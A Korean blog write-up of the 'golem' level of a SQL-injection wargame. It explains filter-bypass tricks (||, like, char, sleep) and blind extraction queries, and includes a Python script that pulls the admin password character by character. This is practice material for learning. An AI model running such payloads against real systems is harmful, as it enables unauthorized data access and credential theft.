본문 바로가기
워게임/LOS

[los - SQL injection] golem ( 11단계 )

by B T Y 2017. 9. 23.
반응형

[los - SQL injection] golem ( 11단계 )







[ 풀이과정 ]



golem은 if(($result['pw'] && ($result['pw'] == $_GET['pw'])) 조건을 만족해야 문제가 풀린다.

여기 문제에서는 prob  _  .  (  )  or  and  substr(  =  기호가 preg_match()를 통해서 필터링 되어있다..

보통 참/거짓을 확인할때 1=1 쓰지만 '=' 기호는 쓸수 없기 때문에 like, sleep(), char() 등을 이용해서 참/거짓을 확인한다.



select id from prob_golem where id='guest' and pw='' || sleep(10) #'를 

이용해서 참/거짓을 통한 인젝션 가능성을 확인을 했다.


select id from prob_golem where id='guest' and pw='' || char(49,61,49) #'를 

이용해보니 char() 함수를 이용한 '=' 문자 또한 사용이 가능했다.




( sleep(10)을 이용해서 SQL injection 가능성을 확인했다 )



( 마찬가지로 SQL injection 가능성을 확인할 수 있는 방법은 여러가지가 있다.. )



select id from prob_golem where id='guest' and pw='' || id like 'admin' && length(pw) like 8 #'을 

이용해 pw의 길이가 8인걸 알아냈다.


select id from prob_golem where id='guest' and pw='' || id like 'admin' && ascii(mid((select pw),1,1)) like 56#'를 

이용해서 pw를 하나씩 찾는데 mid의 위치를 나타내는 두번째 인자값과 비교값을 변경해가면서 비교해주면된다.

여기서도 전에 만들어둔 python 자동화 프로그램을 조금 수정해서 이용했다.





11단계 클리어~~~




golem.py



from socket import *

from struct import *


for i in range(1,9):

    ch = 48

    while True:


        #if 58 <= ch <= 64: ch + 1; continue

        #if 91 <= ch <= 96: ch + 1; continue

        if ch > 122: break

        

        sock = socket( AF_INET, SOCK_STREAM )

        sock.connect( ('104.27.174.42', 80) )


        request_header = 'GET /golem_39f3348098ccda1e71a4650f40caa037.php?pw='

        request_header += '\' || id like 'admin' %26%26 ascii(mid((select pw),'

        request_header += str(i)

        request_header += ',1)) like' + str(ch) + ' %23'

        request_header += ' HTTP/1.1\r\n'

        request_header += 'Cookie:__cfduid=d5e9e8bb92276949665b5620612504c8b1506175186; 

                                  PHPSESSID=mm7o8auagp6bjoq7nc2d06uum7\r\n'

        request_header += 'Host:los.eagle-jump.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()

        if 'Hello admin' in response:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1;

        sock.close()


반응형

댓글